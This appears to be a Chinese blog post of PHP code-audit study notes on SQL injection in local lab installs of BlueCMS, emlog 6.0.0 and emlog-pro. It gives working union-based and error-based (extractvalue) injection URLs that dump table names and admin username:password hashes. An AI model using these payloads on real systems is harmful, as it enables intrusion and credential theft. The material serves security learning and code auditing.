Skip to main content

原生PHP代码审计-sql注入

·263 words·2 mins
IIIIIIIIIIII
Author
IIIIIIIIIIII
A little bit about you

原生PHP代码审计-sql注入
#

三种方法:
		   数据库方面-sql注入
		   	 1:语句监控  监控sql语句是否可以利用
		   	 2:功能跟踪
		   	 .*单个字符 ?启动非贪婪模式
		   	 3:正则搜索sql语句(update|select|insert|delete|).*?where.*= 

案例1BLUECMS
#

搭建
PHP选择5版本
PHPSTUDY选中里面的uploads目录
url输入/install安装
设置uploads权限为可写
设置后不管他是白屏还是怎么样直接输入根目录进入界面显示

1

使用正则表达式搜索

(update|select|insert|delete|).*?where.*?=* 锁定这个ad_js.php文件

看到其他的admin.php可能是管理员的界面

1

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id); 看这个代码的变量是否可控

往上看发现这个变量是通过GET传输的发现可控
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
	echo 'Error!';
	exit();
}

在php中.表示直接拼接我们访问试试

输入
URL/ad_js.php?ad_id=1%20order%20by%208 
提示Error:Query error:SELECT * FROM blue_ad WHERE ad_id =1 order by 8

输入
URL/ad_js.php?ad_id=1%20order%20by%207
不报错
这里不加'因为是数字不用闭合,锁定字段是7个而且有回显表示他的代码有return

输入
ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,database()
右键源码发现

<!--
document.write("localhost");
-->
发现数据库名是localhost因为我创建时候把命令设置这个了..

然后我们就可以sql注入查询出账号密码登录后台

1 order by 7
1 union select 1,2,3,4,5,6,7
获取字段名
1 UNION SELECT 1,2,3,4,5,6,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()
得到blue_user 0x626C75655F75736572这是他的16进制 防止转义报错
1 UNION SELECT 1,2,3,4,5,6,group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() and table_name=0x626C75655F75736572
得到 字段
user_id,user_name,pwd,email,birthday,sex,money,face_pic,mobile_phone,home_phone,office_phone,qq,msn,address,reg_time,last_login_time,last_login_ip

1%20UNION%20SELECT%201,2,3,4,5,6,group_concat(user_name,0x3a,pwd)%20from%20blue_user
得到数据 document.write("root:63a9f0ea7bb98050796b649e85481845"); 0x3a表示冒号进行拼接

1

如果没有回显 就用sqlmap跑延时注入

案例2-emlog-后台漏洞
#

安装说明 emlog_6.0.0
PHP7版本直接输入URL可搭建
提前构建数据库

通过CNVD-漏洞描述找到文件

找到这个地方

1

这里的sql语句没有防护

代码中的 SQL 语句直接将用户输入的$ip变量拼接到查询中,没有进行任何过滤或参数化处理:
假设$ip的值被传入:127.0.0.1' OR '1'='1,那么实际执行的 SQL 会变成:
-- 查询语句会变成:
SELECT DISTINCT gid FROM 表名 WHERE ip='127.0.0.1' OR '1'='1'

-- 删除语句会变成:
DELETE FROM 表名 WHERE ip='127.0.0.1' OR '1'='1'

1

触发需要/admin/comment.php?action=delbyip

/admin/comment.php?action=delbyip

提示

1

这里需要放上去token

  代码说检查这里的token 赋值为token=xx我们可以试试
  public static function genToken() {
        $token_cookie_name = 'EM_TOKENCOOKIE_' . md5(substr(AUTH_KEY, 16, 32) . UID);
        if (isset($_COOKIE[$token_cookie_name])) {
            return $_COOKIE[$token_cookie_name];
        } else {
            $token = md5(getRandStr(16));
            setcookie($token_cookie_name, $token, 0, '/');
            return $token;
        }
    }

输入token后跳到了这里

URL/admin/comment.php?action=delbyip&token=844dcfdf25339db310d07c152cdb3794

1

现在我们就代入我们IP参数来注入了因为逻辑往下走了

因为这里没有回显所以我们报错注入 0x7e是~报错时候容易识别
admin/comment.php?action=delbyip&token=844dcfdf25339db310d07c152cdb3794&ip=127.0.0.1%27and(extractvalue(1,concat(0x7e,(select%20user()),0x7e)))%20--+

1 获得数据库名
XPATH syntax error: '~emlog1~'

admin/comment.php?action=delbyip&token=844dcfdf25339db310d07c152cdb3794&ip=127.0.0.1%27and(extractvalue(1,concat(0x7e,(select%20database()),0x7e)))%20--+
2 
因为显示不全判断长度是123后
admin/comment.php?action=delbyip&token=844dcfdf25339db310d07c152cdb3794&ip=127.0.0.1%27and(extractvalue(1,concat(0x7e,(select%20length(group_concat(table_name)) from information_schema.tables where table_schema='emlog1'),0x7e)))%20--+
3 从110字符开始获取得到一个表叫emlog_user
admin/comment.php?action=delbyip&token=844dcfdf25339db310d07c152cdb3794&ip=127.0.0.1%27and(extractvalue(1,concat(0x7e,(select%20substr(group_concat(table_name),110,30) from information_schema.tables where table_schema='emlog1'),0x7e)))%20--+
或者
用limit 跳过前9个表名,返回第10个表名(因为计数从0开始)。
and(extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='emlog1'),0x7e))) -- 得到10个

and(extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='emlog1' limit 9,1),0x7e))) --查看得到emlog_user

4
得到字段
~uid,username,password,nickname,'
admin/comment.php?action=delbyip&token=844dcfdf25339db310d07c152cdb3794&ip=127.0.0.1%27and(extractvalue(1,concat(0x7e,(select%20group_concat(column_name) from information_schema.columns  where table_schema='emlog1' and table_name='emlog_user'),0x7e)))%20--+

5获取数据
XPATH syntax error: '~root:$P$ByE7sTdselj5Pr83iphFe0eL'
admin/comment.php?action=delbyip&token=844dcfdf25339db310d07c152cdb3794&ip=127.0.0.1%27and(extractvalue(1,concat(0x7e,(select%20group_concat(username,0x3a,password) from emlog_user),0x7e)))%20--+

1

1

案例3-emlog-pro 二次注入漏洞-2.1.9
#

使用工具MySQLMonitor-1.1.jar工具监控mysql代码

其他数据库有自带监控

1

后端代码可以知道这里的emer是数据库中的nickname数值

1

cnvd中说了是二次注入我们就要找哪里可以修改nickname答案是系统中的上传数据库文件

1

插入这段在数据中 再上传

1

可以发现select 执行了

1

Related

Halfhour靶机-Maze-通配符漏洞
·371 words·2 mins
Confidence靶机-Maze-windows
·1616 words·8 mins
Mount靶机-maze
·525 words·3 mins
vmware-esxi-vscenter-靶场vulntarget-o
·219 words·2 mins
poppips-mazasec
·1025 words·5 mins